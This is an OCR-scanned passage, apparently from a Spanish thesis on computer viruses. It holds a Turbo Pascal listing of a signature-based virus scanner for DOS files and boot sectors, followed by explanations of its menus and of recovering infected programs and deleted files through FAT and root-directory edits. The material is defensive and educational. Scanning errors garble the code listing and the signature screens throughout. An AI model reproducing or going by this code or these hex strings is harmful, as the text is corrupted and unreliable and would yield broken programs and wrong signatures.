:TEXT; {ARCHNO oe DESCRIPCION oe 'MUS] 

:TEXT; <"""'""º oe PROOAAMA8 JNFECTADOSI 
:ARAA Y 11..50] Of FICHEOO: {TAIJIA CE OESCfllf'CK>N 0E WIUS) 
:BYTE; {NUMERO DE Y1AUS EXISTENTES EN EL AACHl'./O mll.DAT} 
:STAlNO; {A\.OOUA. LA CARGA De lOS REGISTROS DEI. ARCH. ANT\.OAT} 
:SEARCHREC {REGISTRO PAAA CARGAR LOS WIUS EH El PROGRAMA) 
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LISTADO DEL PROGRAMA DETECTOR OE VIRUS (CONTINUA.) 

( CECLAAACION DE VARt.ABLES) 

1 :BYTE; 
FlC :FILE; {AROWO A VERIFICAR) 
EXTENSION :STRINO; (OTENSKJN OEL A.RCHNO ( EXE, COM)} 
PTF' :LONOINT; {PUNTERO DE ARCHIVO! 
OK :BOOLEAN, {BANDERA DE ERRORES) 
DIFERENTE :BOOLEAN; {~NDERA DE RECONOCIMIENTO DE F1RMA) 
ESCAPE :BOOLEAN. {BANDERA PARA LA. TECLA "ESC-) 
DIRECTORIO :STRNO; {NOMBRE DEL DIRECTORIO EXAMINA.DO) 
SO :AAAAY (1 !XI) Of STRINO; {TABLA DE SUBOIRECTOR:O} 
BUF -.AAAAY {I 10241 Of CHA.A. (BLOCK.E LEIDO DEL PAOCU\A.MA EXAMINA.DO} 
TMP :STRINO, {REGISTRO LEIDO} 
RES :WORO 
VIRUS OEC .BYTE: 
FIC_YIS :BYTE; 
BUFFER_DATA '..AP.RAY (1 .. 1024] Of- CHA.A: 
BUFFEA_NOMS :ARRAY (1..1024) Of CHAR. 
o.e 'INTEOER; 
FEXE :BOOLEAN, 
OPCK>N .O: 
DISCO :CHAA. 
PEOISTRO :REOISTERS; 
SECTOAO :ARRA.Y (1..512] Of CHA.A; 

PROCEOURE FIN¡ 
BEG\N 

(CONTADOR DE \/IRUS DESCUBlEITTOSj 
(CONT A.COR DE A.ACHNOS VERIFICADOS} 

(CONTADORES) 
{BANDERA PARA ARCHNOS .EXE} 
(OPCIONES DEL MENU PRINCIPAL} 
{DISCO EXAMINADO} 
{REGISTROS PAAA EXAMINAR Al. BOOT.SECTOA) 
(ALMACENAMIENTO TEMPORAL DEL BOOT.SECTOR} 

WRITELN('NO SE ENCONTAO AL ARCHIVO ANTI OAT 1: 
HA.LT; 

END¡ 

PROCEDURE ALERT.A(l:INTCOER; TA:BOOLEAH); 
~DIN 

INC(VIRUS_OEC); 
CUAOAO(I0,21,70.2.(,1); 
GOTOXY(12.22); 
WfUTELN(l7,'ATENCION, VIRUS DESCUBIERTO EN El ARCHIVO: ',ARCHINFO.NAME); 
GOTOXY(14,23); 
WRrTELNrPAOBABlEMENTE INFECTADO POR: ',VIRUS!ij.NOMBRE); 
W'AfTELN(NOMS,ARCHIHFO.NAME,' INFEcTADO POR: ',VIRUS(ij.NOMBRE}; 
IFTA THEN SEEK{FIC,FllESIZE(Flq); 

EHD; 
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USTAOO DEL PAOOAAW. DETECTOR CE \'\RUS (CONTlNl.JAJ 

PAOCEOURE ASCll{YAR Z;SmlHO); 
V/Jl 
X,S : BYTE; 
R : INTEGER; 
AESULT : BYTE: 

I· ..... 

FUNCTION l(S:CKAR):BYTE; 
BE.GIN 

CASE UPCAS.E(&) Of 
'A.':L:•,O; 
'B':L:•11; 
'C':L:•12; 
'O':L:-13; 
'E':L:•14¡ 
'f':l.:•15; 

END; 
EHD; 

............ l 

I· · · · · · · · · · · · · · · · · · · · · l 

BEOIN 
X:•O: 
WHILE K<l.E..MGTil(Z) DO 
BEOIN 

INC(X); 
VAL(Z[X),RESULT,R); 
IF R<>OTHEN RESULT:•L(Z[X)); 
RESULT:•RESULT•1e; 
INC(X); 
VAL(Z(Xl,S,A); 
IFR<>OTHEN S:•L(Z[X1); 
RESULT:•RESULT+S; 
VIRUS[NBVlR) FIRMA{X OIV2J:•CHR(RESULl)¡ 

END; 
EHD; 

PROCEDURE CONTAMINADOS¡ 
VAR 
CMP : BYTE: 

BEOIN 
GOTOX"!(1,25)¡ 
WRfTE(' OPRIMA [ENTEA) PARA COtlTINUAA); 
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LISTADO OEL PROGRAMA DETECTOR DE VlRUS (CONTINUA) 

GOTOXV{50,ZiJ, 

''''"'"'71' AEADLN: 
ASSON¡NOMS,'VlffJS.OAT'); 
9ETTEXTBUFiNOMG.6UfFER_NOili.W); 
RESET(NOMS); 
WHILE NOT EOF(HOMS) DO 
BEOIN 

ClRSCR. 
CMP:•O; 
REPlAT 

IHC(CMPl: 
AWllH(NOMS.TMP): 
WAAELN(TMP); 

UNTIL (CMP•:ZO) OA EOF(NOMS}; 
00TOXY(20,251; 
WRTErOPRMACUALOOIERTEClA PARACONTINUAAi: 
REPEAT UNTIL KEYPRr:SSEO; 

EHD; 
CU>SE(NOMS): 

E.NO; 

PAOcEDUt="11CEHTAC10H; 
BEQIN 

TEXTBACKOAOUNO¡REO); 
CUAOR0(1,t,B0,3,1); 
OOTOXY(16,2);WRITEtOETECTOA DE VIRUS (:2.0)1; 
TEXTBACKOAOUNO(BLACIQ; 
CUADA0(2e,7,fl0,24,1); 
CUADAO(t,4,40,6,t); 
CUADA0(41,4,80,tS, 1); 
OOTOXV(.,5); 
WRnl:(ISl.AS lOPEZ ALBEITTO A. 1: 
GOTOXY(~.!5); 
WAffE(VlRUS CONOCIDOS :i; 

EHD; 

PROCEDURE CARO.A VIRUS; 
BEOIN -

NBVtR:•O: 
.-.SSIGH(OATA,'ANTI.DAT1; 
AESET(OATA); 
IF K>RESULT<>OTHENFIN; 
WHILE HOT EOF(DATA) DO 
KGIN 

REAOLN(DATA,X); 

') 
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LISTADO DEL PAOGRAM4 OETfCTOR DE VlRU8 (CONTIN~ 

IF COPY(l(.1,1)•';' THEN 
BEOIN 

INC!NBWli; 
WITH VlRUS{NBVlR] 00 
BEQIN 

NOMBRE:•COPV(X.2.lENOTH(lQ·1); 
REAOl.N!DATA.TMP); 
FlRMAHEX:•TMP: 
ASCll(IMP); 
LONOITUD:•LENOTH(TMP¡ OIV <!; 
READl.N(DA TA. EXT) ; 

END; 
END; 

END¡ 
Cl.OSE{OATA); 
ASSION(NOMS,'VIRUS.DAT1; 
lEXTBACKGAOUNO(BlACIQ; 
SETTEXTBUF(NOMS,BUFFEA_NOMS)¡ 
REWRITE(NOMS); 
OOTOXY¡n.~; 
WRITE(NBVIR); 

END¡ 

PROCEDURE ESUB(VAn CSUD:UlTECEn); 
VAR 
K : INTEGEA; 

BEOIN 
CSUB:•O; 
K:•O; 
WHILE K<•CSUB DO 
BEOIN 

FtNDFIRST(DIRECTORIO+'•. ',DIRECTORY .AACHINFO); 
WHILE (DOSERROR•O) DO 
BEOIN 

WITH ARCHINFO DO 
BEOIN 

CSUB:•CSUB+ t; 
IF (NAME•',1 OR (NAME•' •• 1 THEN CSUB:•CSlJB.1 
ELSE 
IF (ATTR•DIRECTOAV) TiiEN SO(CSUBJ:•OIRECTORIO+NAME ELSE csue:-CSUB-t; 

END; 
ANONEXT(AACHINFO); 

END¡ 
K:•K+1; 
IF K< -csue THEN DIAECTORIO:•SO(K)+ \'; 

EHD¡ 
Et.ID; 
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PROCEDURE LEXE; 
8EOIN 

DOSERAOR!•O; 
OK:•F,\LSE: 
FEXl;:•FAUIE; 

LISTADO DEL PAOOAAMA DETECTOR DE VlRUS (CONTINUA) 

FINOfm5T(OIAECTORKJ + •• .EXE' .ANVFL.E,AACHINFO); 
!NO: 

PROCEDURE LEE_SECTOR: 
BEQIN 

WITH RECMITRO DO 
IEOIN 

ES:• SEO(SECTOR0[1)); 
BX :- OfS(SECTOR0[1JI: 
llY.. :• $0201; 
ex:• I0001; 
DH :• toO; 
CASI. UPCASE(DISCO) OP 

'A' :DL :• SOO; 
'B' :DL :• I01: 
·e· :DL :•sao: 
'O' :Dt. :• '80; 
'F :Ol.:•S80 

!NO; 
!HD; 
INTR(S13.REOISTAO)¡ 

tND; 

PROCE.DURE SECTOA_CERO; .... 
1,11,J : INTEOER; 
OlfEREl'ITE,TA : BOOLEAN; 

BEOIN 
TA:•FALSE: 
OOTOXV(Sl.10): 
WRITEíBOOT SECTOA:1: 
LEE_SECTOR; 
FOR1:•1TONBV1RDO 
FOAJ:•1 T0512DO 
lf (YlRUS{l].FIRMA(t)•SECTORO(JD THEN 
BEOIN 

11: ... 0; 
DIFEREN'TE:•FALSE¡ 
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WHILE NOT DIFEREHTI.ANO {ll<VlRUS[t).LOHGITUD-1) ANO ((ll+J<•l512)) DO 
BEOIN 
INC~~; 
1F VlRUS[l).FIRMA(H+ 11< >SECTORJ(J+lij THEN OlfEAENTE:•TRUE; 

END; 
lf NOT DIFERENTE ANO (ll+J<•l12) nta~ 
BEOIN 
AACHINFO.NAME:·~ O'; 
Al.ERTA(l,TA)¡ 
OOTOXV(64,t2); 
WMl:flNFECTADOi; 

EHD 
EUIE 
BEOIN 

OOTOXY(67,12); 
WME(SANOl: 

EHD; 
EHD; 

EHO:. 

PROCEDURE EV.Mlt&A; 
VAR 
l,U,J : IHTEGER; 
TA :BOOLEAN; 

IESlN 
REPEAT 

lf PTF•D THEH 
BEOIN 

Plf':•1024; 
BLOCKREAD(FIC,BUF,1024,AES); 

EHD 
El.SE 
BEOIN 

MOVE(BUF(1024J,SUF(1J,SO); 
BLOCKAEAO(FK:,SUF(51], 1024,RES); 
PTF:•PTF-t-1024; 

END¡ 
GOTOXY(211,16); 
TEX1'6ACKGROUND(RED); 
IF (P'TF>AACHINFO.SIZE) TiiENWME(ARCHINFO.SIZE:7} ELSEWM'E(PTF:7); 
W<l81,CKGROONDISlACI(); 
OOTOXV(38,16); 
WME(BYTESJ: 
FOR 1:• 1 TO NBVIR DO 

\F VlRUS{l).EXT•EXTENSION 11-IEN 
FORJ:•1TO1024 DO 
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UST ADO DEL PAOOFWM OE'Tt:CTOR OE VIRUS (CONTlNUA) 

1, (VIRU8(1).FIAMA(1]•8Uf(J]) THEH 
BEGIN 

11.•0, 
OIFERENTE:•FALSE, 
WHlt.f. NOT 04FEREHTE ANO {ll<VIRUS(IJ.LONQITUD-1) ANO ((ll+J)<•10:Z4) DO 
IEOIH 

INCI'); 
IF WUJS(l}.FIRMA(U+ 1]< >BUF(J+Y) THEN DlFERENTE:•TRUE: 

1!111>; 
lf NOT DIFERENTE ANO (ll+J<•1024) THEN ALERTA(l,TA): 

l!HD; 
IF l<'.EVf'REBSEO THEN IF AEADt<EY• 127 THEH ESCAPE·-muE; 

UNTIL EOf(ftc) OR (IOREBUL T <>O) OR ESCAPE; 
l!NO; 

-------·---···--····----------
PAOCEDURE ANALIZA; 
BEOIN 

ASSION(FIC,OIRECTORJO+ARCHINFO N.AME): 
RESET(FIC,1); 
OOTOXY(2B,12): 
WME¡ 1; 
GOTOXY{38, 14); 
WRITE¡wms1; 
OOTOXY(28,12); 
'<·'tl:1"EUl!AACHINFO.N.'UE); 
TE>CTIJit.CKQAOUND(RED'I: 
OOTOXY(27,10); 
WRITE¡ J; 
ClOTOXY(27, 10); 
WFITE(DIRECTORIO): 
GOTOXY('28,I•): 
WRITE(AACHINFO.SIZE:7); 
OOTOXY('2B,18); 
WRITE(FIC_VIS•3); 
GOTOXY(1,25); 
TEX'Taf.CKOAOUND(BLUE); 
WM'EfOPRIMA ESCAPE PARA TERMINAR); 
EXTEN~:•AACHINFO.NAME; 
OELETE(EXTENSION, 1,lENGT><iEXTENSlON).o); 
INC(FIC_VIS): 
PTF:•O; 
EXAMINA: 
Cl.OSE(FIC): 
ANONEXTjAACHINFO); 
IF (OOSERAOA< >O) ANO OK ANO FEXE THEN LEXE: 

EHD; 
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PROCEDURE RASTREA; 
YAA 
CSUB : INTEOEA: 
A : SEARCHREC; 

BEOIN 
Cl.ASCR; 
PRESENTAClON; 
QOTOXY(72,0); 

wmE-: 

LISTADO DEL PROGRAMA DETECTOR DE VlRUS I~ 

TEXTBACKGROUND(BlUE); 
CUADAO{t,7,25,24,1); 
CUADA0{&1,7,80,24,1); 
TCXTCOlOO(WHITE); 
TEXTBACKOROUNO(BLUE); 
OOTOXY(3,~; 

WArrEfDISC01; 
OQTO).."V(:J,10); 
WRITE('DIRECTORIO EXAMINADO'); 
OOTOXY{:J,12); 
WRITE('AACHll/O EXAMINADO'); 
OOTOXY(:J,14); 
WRrrE('LONOrTUD 1: 
OOTOXY(J,16); 
WllTE(VEAWICADCS ); 
OOTOXY(:J,18); 
WRITEfARCHll/OS VERIFICADOS); 
ne \70.:-c, 
~-OEC:•O; 

OK:•TRUE: 
DISCO:•''; 
ESCAPE:•FALSE; 
FEXE:•TRUE; 
DIRECTORIO:•"; 
TEXTBACKOAOUNO(REO); 
OOTOXV(27,8); 
W!VTEf 1; 
OOTOXY(27,8); 
OlSCO:•READKEY: 
OOTOXY(27,0); 
W!VTE(IJISCOI; 
OOT0XY(27,10); 
wmEf 1: 
OOTOXY(27,10); 
READl.N(ll<RECTOlllO); 
IFNOT (COPV{DIRECTORIO,LENOTH(OIRECTORI0),1)•\1 

ANO (LENQTH(ll<RECTOllJO)>O) 
THEN DIRECTORIO:•DIRECTORIO+\'; 

DIRECTORIO:•DISCO+':\'+DIRECTORIO; 
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ESUB(CSUB); 
SECTOR CERO, 
REPEAT-

LISTADO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA) 

FJNDFlRST(OIRECTORIO+'•.COM'.ANVflLE.ARCHINFQ): 
IF DOSERAOR< >0 THEN L.EXE: 
WHILE (00$EMOR ... o¡ ANO OOT ESCAPE 00 .. NAUZA. 
0:•0+1: 
DIAECTORIO:-SO!OJ-t ,., 
FEXE:•TAUE; 

UNTIL O>•CSUD; 
CLOSE(NOMS); 
IF VIRUS OEC>O THEN CONTAMINAOOS, 
GOTOXY(1,25'J; 
WRrrEí OPRIMA (ENTEA] PAAA CONTINUAR); 
GOTOXY(60.~: 

WRITEtln; 
READLN, 
ClRSCR; 

END; 

PRQCEDURE LISTADO; 
VAR 
lJ.N,M : INTEOER. 

T 'CHAR; 

&EGIN 
N:-1; 
M·-5; 
REPEAT 

TEXTBACKGAOUND(BlUE'); 
GOJOXY(1,n; 
FOAl:-1 roeo OOWRITE(' ); 
GOTOXY{B,7): 
WRtTECNOMBRE): 
GOTOXY(35, 7); 
WRITE('FIRMA); 
T8C'f'MCKOAOUND(BlACK); 
CUADA0(1,8,23,24, 1); 
CUADA0('24,8,80,24,1); 
J:•O; 
fOR l:•N TO M 00 
BEQIN 

TEXTOACKOFlOUND(BlACK); 
J:•J+1; 
GOTOXY(2.6+(J•3)): 
WRCTEjVIRUS(ij.NOMBRE): 
OOTOXY(2,6+{JºJ}+1); 
WRf!'E(VlRUS(ij.EXT), 

END; 
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WINDOW(25,7,75,23); 
J;•O; 
FOR l:•N TO U DO 
BEOIN 

USTAOO DEL PROGRAMA DETECTOR DE VIRUS (CONTINUA) 

TElCTBACKOROUNOIAEOJ; 
J:•J+t; 
OOTOXY(1,J•3); 
WME('MUS(q.FIAMAHEX); 

ENO¡ 
WINDOW(t, 1,80,25); 
QOTOXY(t.25); 
WRITE('(R]- AETROCEOER. (A]·AVANZAR, (Q]-SAUR"); 
T:•READKEY: 
CASE UPCASE(l) Of 

'A':BEOIN 
M:•M+5; 

lf &bN13VIRTHEN 
BEGIN 

M;•NBVIA; 
N:•(NBVIRDIV 51•s+1; 

END 
ELSE N:-~; 

END; 
'R':BEQIN 

N:•N-5; 
IF N<1 THEN N:•1; 
M:•N+4: 

ENO; 
END; 

UHTIL UPCASE(l)•'O'; 
ClRSCA; 

EHO; 

PROCEDURE CAPTURA; 
VAR 
F :TEXT; 
(J : INTEOER: 
A,B,C : STAING; 

BEOIN 
TEXTBACKOROUND(BLUE); 
G0TOXY(1,7); 
FORl!•1 TOBO ooWAITEr 1: 
OOTOXY(~7}; 
WMEC""""'1E1: 
OOTOXY(35,7); 
WME(FIRMA): 
TEXTBACKGROUNO(Bl>.CK); 
CUADR0(1,B,23.24,1); 
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CUADR0(2•.8.80.24, t), 
OOTOXY(2.10): 

LISTADO DEL PROGRAMA DETECTOR DE VIFIUS (CONTINUA) 

WR1TEfNOMORE:1; 
OOT0XY(2.12); 
WRITErAACHIVO DE ATAOUE:1; 
OOTOX'Y(2.15); 
WAt!E[FIAMA:l: 
TEXTBACKOAOUNO(REOl. 
OOTOXY(28,IO); 
WAt!E[ 1: 
GC1TOXY(2S.IO); AEAOUf(A), 
QOTOXY(25, 12); 
WAt!E[l: 
GOTOXYl26.12); 
READLN!BJ: 
WINOON(25,15,78.17}, 
CLASCR; 
READLN¡q; 
W1NOOW(1, 1 ,00,25}; 
VIRUS(NBVIR+1J.NOMBRE:•A: 
VIRUS[NBVIR + 1].EXT:•B: 
VIRUS(NBVIR+1J.FIRMAHEX:•C; 
ASSIGN(F,'AffllDAf1; 
REWRITE¡F); 
fOR 1:•1 TO NBVIR+1 00 
Be:QIN 

WMELN(F,'-;+VRIS(ll.NOMOR€); 
WRrTELN(F,VIRUS(ll.FIAMAHEX); 
WRffELN(F,VlHUSllJ.EXT}: 

END; 
ClOSE(F); 
NBVlR • NBVIA + 1 ; 

END¡ 

BEOIN 

REPEAT 
TEXTBACKCJAOUND(BLUE): 
CUlSCR; 
C:•1; 
PRESENTACION; 
CAAGA_VlRUS; 
CUADA0(1,7,00.2•,1); 
OPCION{1):•' AASTREAA , 
OPCION(2}:•' LISTAR FIRMAS '; 
OPCION[3]:•' AGREGAR NUEVA FIRMA'; 
OPCION[•J:•' SALIA '; 
MENU(25,10,•,3,1,0PCION,q; 
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CASECOf 
1:RASTREA: 
2:USTADO; 
3:CAPT1JRA; 

'"º UNTILC•4; 
ct.RSCR; 

END. 

LISTADO OEl PROOFWM DETECTOR DE VIRUS (CONTINUA) 

3.3.3. Operación del programa. 

La operación del programa es muy simple: al empezar su ejecución carga en 
memoria (en la variable VIRUS), todas las firmas encontradas en el archivo 

ANTl.DAT, por lo que se tardará un momento para presentar el menú del sistema 

(figura 3-2). 

DETECTO A V 1 R U 6 cz.q 

11 _,."'"""""""' 

@9ftitJA 
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En esta pantalla, en la parte superior, se presentan tres recuadros, uno de ellos 

se emplea para indicar la cantidad de firmas contenidas en el archivo ANTl.DAT, 

que es el total de virus que reconoce el programa. En la parte central se presenta 

un menú con cuatro opciones, donde las tres primeras representan, cada una, un 

módulo del programa. El funcionamiento de cada uno de los módulos se explica a 

continuación: 

•Rastreo. 
Al activar esta opción, se ejecuta el procedimiento Rastreo, el cual comienza 

por inicializar las variables pertinentes y muestra una pantalla como ta de la 

figura 3-3. 

DE l E e TO R 

11 ww CONOCI006: 37 1 

En esta pantalla, se pregunta al usuario que disco. será examinado y 

posteriormente se pide el nombre del directorio que se quiere examinar, el 

cual de dejarse en blanco, se interpretará por el programa que se quiere 

rastrear en todo el disco, incluyendo el sector de carga (sector cero). Si se 

indicó un subdirectorio en particular, el rastreo se llevará a cabo también en 

todos sus subdirectorios que contengan archivos ejecutables. 

El monitoreo del rastreo se presenta al usuario desplegando en la pantalla, 

la información de que subdirectorio se esta examinando, qué archivo, 

cuántos bytes se han examinado del total que componen al archivo y 
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cuántos archivos se han examinado. El rastreo se puede detener en 

cualquier momento oprimiendo la tecla ESC. 

Al finalizar, si no se reconoció la firma da ningún virus, el procedimiento 

regresa al control al menú principal. Para al caso da haberse reconocido 

algún virus, se presentará al usuario un mensaje informando qué virus se 

detectó y en qué archivo se encontró. 

• Listado de firmas. 

Con esta opción se activa al procedimiento "Listado", el cual tienen por 

único objeto al presentar un listado de los virus que reconoce el programa, 

señalando sus nombras y sus firmas en una pantalla como la figura 3-4, en 

bloques de cinco registros. 

"" """ 

"'" """ ..... 

fM&CE~l[!l3l012EJ=&IT2NJ101709087.001fliC820 
&l13"'11244M'.:75ifl 

FA&llECUIC(IOCM8\(Bl\Ot2(f!ll!IT2NJI017.tOf'aoo1.001Der1M 
&:11:i...:i12~1~n 

FA&OCOEIOOOCMll1EBJ10!:l'EFllllTVIJIOIJ.t()f'llOIJ7.&Q016aio!'JO 
e313'Ul2~7~t 

···--·~·-- 1 

En la parte inferior de esta pantalla, se indican las funciones de tres teclas 

da comandos, las cuales son: 

A -Avanzar. Listar los siguientes cinco registros. 

R - Retroceder. Listar los cinco registros anteriores. 

S - Salir. Regresar al menú principal. 
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• Adicionar Firma. 
Esta opción permite al usuario agregar firmas para nuevos virus 

descubiertos. permitiendo al programa actualizarse. Este procedimiento es 
llamado en el programa como "Captura'', y utiliza una pantalla como la 

mostrada en la figura 3-5. 

.. 
l ISU.BlOl'UA.Ul(RTOA.. 11 

...... r===i 
AJOll'YQOC.lUOJE D 

·- 1 1 

La adición del registro solamente requiere de tres datos: el nombre del 

virus, el cual no debe ser mayor de 20 caracteres; su firma, que es una 

cadena de caracteres en numeración hexadecimal, que puede ser hasta de 

50 caracteres, y el tipo de archivos que ataca (.COM o .EXE). Para el caso 

de los virus que atacan a ambos tipos de programas, se deberán editar dos 

definiciones, una para cada tipo. Los virus que atacan. al sector de carga 

deberá escribírselas en este campo los caracteres "S-0". 

La información debe capturarse en la secuencia presentada por el 

programa que, al llenar el usuario el último campo y oprimir la tecla Enter, 

se adicionará el registro al archivo de firmas ANTI.DA T. 
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Conclusión sobre el programa. 
Como se menciona anteriormente, el programa sólo proporciona Información de 

detección, pero no preve la eliminación del virus y la reparación del archivo 

contaminado, esto es debido a que cada virus necesita un tratamiento especial de 

acuerdo a su comportamiento, por lo que implica dedicarle un gran estudio a c.ada 

virus, delimitando su acción y la acción inversa que debe emplearse para 

restablecer los sistemas. Esto programa no pretende rivalizar con los paquetes 

antivirus que actualmente se encuentran en el mercado, sino más bien ser un 

elemento más para la educación de los usuarios en el aspecto de detección de 

virus. 

3.4. Recuperación de Información. 

Para los casos en que los sistemas de prevención y detección de virus son 

superados, llega a presentarse pérdida de Información en los sistemas 

informáticos. Esta pérdida es, en muchas ocasiones, solamente aparente debido 

al manejo de los discos magnéticos que efectúa el Sistema Operativo; pero en 

otras es una pérdida irrevertible. Ante esta situación, la recuperación de 

Información afectada por actividad viral puede efectuarse a través de tres acciones 

especificas: utilización de software especializado, recuperación de respaldos, 

acción directa de los usuarios. 

Utlllzaclón de software especializado. 

La mayoría de los paquetes antivirus actuales no sólo previenen la infección de 

los sistemas, sino que además, pueden recuperar o restaurar información que 

haya sido afectada por actividad viral. Lamentablemente, la Información que 

puede restaurar es solamente concerniente a los programas y parámetros del 

sistema. 
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Al examinar un sistema mediante un software antivirus, si éste reconoce 

archivos Infectados, presenta al usuario la opción de reparar al archivo 

infectado o eliminarlo. En caso de reconocer problemas de formateo de disco 

duro, o alteración de los parámetros del CMOS, FAT o del directorio ralz, 

pueden restaurarlos siempre y cuando se haya tenido la precaución de haber 

configurado al paquete para que hiciera un respaldo de ellos. 

Una descripción detallada de los paquetes Anti-Virus actuales se presenta en la 

siguiente sección. 

Para el caso de recuperación de archivos, resultan más eficientes algunos 

programas de utilerias como el Northon o el PCShell, los cuales cuentan con 

herramienlas especificas para esto, tales como los programas DiskFix, 

Undelete, Unformat y el Northon Disk Doctor. 

La operación del software para la recuperación de inlormación es muy sencilla, 

además que ha demostrado ser muy práctica. Los usuarios solamente tienen 

que seguir las instrucciones a través de menús para obtener los resultados 

requeridos. 

Recup8'<><:lón do Re&paldos. 

La técnica de respaldar inlormación es muy efectiva para casos de 

contingencias por ataque viral. 

Cuando un virus borra archivos, si éstos son parte de un paquele, es mucho 

más sencillo reinstalar el paquete de los discos originales, que intentar 

recuperar los archivos. Así, también será mucho más sencillo recuperar 

archivos de datos de sus respaldos. 

El único inconveniente de esta técnica es el aspecto de ·la actualidad de los 

datos recuperados. Por e1emplo, si en un computador se opera un sistema de 

contabilidad, en el que los archivos donde se guarda la información son 

respaldados cada mes: si el computador es atacado por un virus, borrando 

estos archivos, al recuperar lns respaldos se estará restableciendo la 

información del mes anterior. Esto es mejor que nada, pero el trabajo que se 

efectuó durante el nuevo mes tendrá que volver a efectuarse. 

Es por esto que debe estudiarse cual es la mejor frecuencia para efectuar los 

respaldos, considerando que para un sistema donde se registra mucha 
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información todos los dfas, deberán efectuarse respaldos muy frecuentes, 

mientras que para otros en los que su operación es muy poca, los respaldos se 

efectuarán con mucha menor frecuencia. 

Otro punto Interesante en este aspecto es la educación del usuario, el cual 

debe ser consciente de la importanci.;:¡ de mantener In información respaldada. 

Lamentablemente, en la mayoría de los casos, no se reconoce esta importancia 

sino hasta que se enfrentan a un problema de pérdida de información. 

Los respaldos pueden efectuarse a travós de muchos programas existentes en 

el mercado de software, tal como el BACKUP del sistema operat;vo, el 

PCBACKUP o las utilerlas del PCShell, los cuales además de ser muy 

conocidos, son muy fáciles de operar. 

Acción directa de Jos usuarios. 

En ocasiones el empleo de software especializado es ineficiente para recuperar 

cierta información o inclusive el usuario no lo tiene disponible, o cuando no se 

ha tenido la precaución de emplear la técnica de respaldar la información de 
manera adecuada, el usuario puede intentar efectuar esta recuperación de 

manera directa en el computador. 

La información que puede haberse afectado por un ataque viral es: programas 

de usuario, archivos de datos. La recuperación para cada uno de ellos se 

explicará a continuación. 

• Programas de usuario. 

Para lograr la recuperación correcta de las funciones de un programa, es 

necesario identificar que virus lo atacó, determinando asr Ja manera en que 

puede efectuarse la acción inversa que lo desinfecte. 

Para ejemplificar la recuperación de un programa infectado por un virus de 

Inserción, considere el siguiente caso: 
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Se tiene un programa original, como se muestra en la figura 3.6.a, el 
cual es atacado por un virus de inserción. El virus lo modifica 

quedando su estructura como lo muestra la figura 3.6.b. 

FIGURA 3·6·a PROGRAMA ORIGINAL ANTES DE SEA INFECTADO 

JMP 
(SALTO) 

PROGRAMA OAlOINAL 

CUERPO PRINCIPAL JMP 
DEL VIRUS (SALTO) PROGRAMA ORIOINAL 

FlOURA 3·6·b. ATAQUE DE UN VIRUS DE SOBREESCRITURA 

Como puede observarse, la infección del programa inserta una 

instrucción al comienzo del programa, para que la ojccución de éste 

salte al final de su código, en donde se ha añadido el virus. Al final del 

código virus añadido se encuentra otra instrucción de salto, que 

apunta hacia el comienzo del programa original. 

Conociendo este comportamiento del virus, se puede recuperar el 

funcionamiento del programa original simplemente, modificando la 

primera instrucción de salto para que ésta señale al comienzo del 

programa original, como se muestra en la figura 3.7. 
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PAOORAMA OAIQlNAL 
CUERPO PRINCIPAL JMP 

DEL VIRUS {SALTO) 

FtNOELP!'IOGRAUA 
¡a COOtOO OUE LE ~toE ~SE EJ[CIJT"l 

FIGURA 3·7. 'REPAAACION' DE UN ARCHIVO INFECTA.CD 

Esto recuperaría la actividad normal del programa y evitaría que el código 

viral fuera ejecutado, pero el archivo aún tendrla un aumento de n bytes en 

su tamaño, que de no ser muy grande, podrla dejarse ahí. La eliminación del 

código viral puede efectuarse fácilmente ya que se conoce en donde 

comienza el virus, debido a la dirección proporcionada por la primera 

in&trucci6n de salto del archivo infectado. 

• Archivos de datos. 

La recuperación de los archivos de datos es más complicada y en la mayorfa 

de las ocasiones es incompleta. Recordando lo estudiado en la sección 2.3, 

la manera en que se almacena la información en el disco es a través de la 

FAT y el Directorio Raíz (Root Directory). Cuando un archivo es borrado, el 

Sistema Operativo modifica estas dos áreas. 

La FAT mapea todo el espacio del disco, indicando cuales cluster componen 

a cada archivo y en que orden. El Directorio Rafz registra los nombres de los 

archivos y en cual cluster comienzan. Asf, para borrar un archivo, el sistema 

operativo pone un "O" en todos los cluster que componen al archivo (para 

marcarlos como "disponibles"), y sustituye el código E5h en lugar del primer 

caracter del nombre del archivo. Pero la lnfOrmacíón que contiene ese 
archivo aún permanece ahí. 
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Después de borrar un archivo, sí se escribe en el disco. se sobreescribirá en 

Jos cluster que se marcaron como "disponibles" del archivo borrado, 

perdiéndose toda oportunidad de recuperar la información. 

Para recuperar a un archivo eliminado, antes de que el espacio en donde 

esta su inlormación sea reutilizado, debe editarse la FAT y el Directorio Raíz. 

Esto puede efectuarse mediante paquetes como el Northon Utilities, el 

PCSholl o con el programa DEBUG del Sistema Operativo. 

La recuperación del archivo debe comenzar por la edición del Directorio 

Raíz. modificando el primer caracter del nombre, el cual contiene el código 
ES, y sustituirlo por el primer caracler que tenía el archivo. Si el usuario no 

recuerda que caracter debe ponerse, puede escribir cualquiera y 
posteriormente, una vez recuperado el archivo, podrá renombrarlo si así lo 

requiere. En el Directorio Raíz, se puede obtener los dalos de en cual cluster 

comienza el archivo. y su tamaño en bytes. El tamaño del archivo nos indica 

cuantos cluster ocupa y conociendo el cluster de comienzo del archivo, se 

busca este cluster on la FAT, el cual se encontrará en cero y muy 
probablemente, los cluster siguientes también lo estarán. Si el total de cluster 

consecutivos en cero es igual o mayor a la cantidad de clusters del 9íchivo, 

entonces "" tendrá la seguricl¡¡d de q¡¡e todos eUos formabaR parte del 

archivo y para restablece¡los, solamente se necesita sustituir los ceros por 

los valores adecuados. El cluster de comienzo del archivo deberá señalar al 

cluster que le precede, éste a su vez al siguiente, así hasta el último, el cual 

debe marcarse como "fin de archivo". 

Esta recuperación no suele ser tan fácil. ya que los clusters que formaban a 

un archivo de datos, en la mayoría de los casos, no son continuos. La 
recuperación de los archivos de datos de cluster no continuos requiere de 

un conocimiento profundo de la estructura que frene el archivo en 

recuperación. Conociendo su estructura, el usuario puede examinar los 

sectores que componen a Jos cluster señalados en cero y establecer cuales 

son parte del archivo y que orden deben tener. Algunas estructuras de 

archivos (tales como los manejados en Páradox), marcan cada cluster de un 

archivo con un número consecutivo. Esto facilita la labor de rescate. 

Una vez más se pone de manifiesto la relevancia de la educación de los 

usuarios (en este caso en terrenos técnicos), que no sólo proporciona mayor 

seguridad, sino además propicia soluciones a problemas muy complicados. 
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3.5. Uso de programas antivirus 

Actualmente existe una gran variedad de paquetes antivirus de funcionamientos 

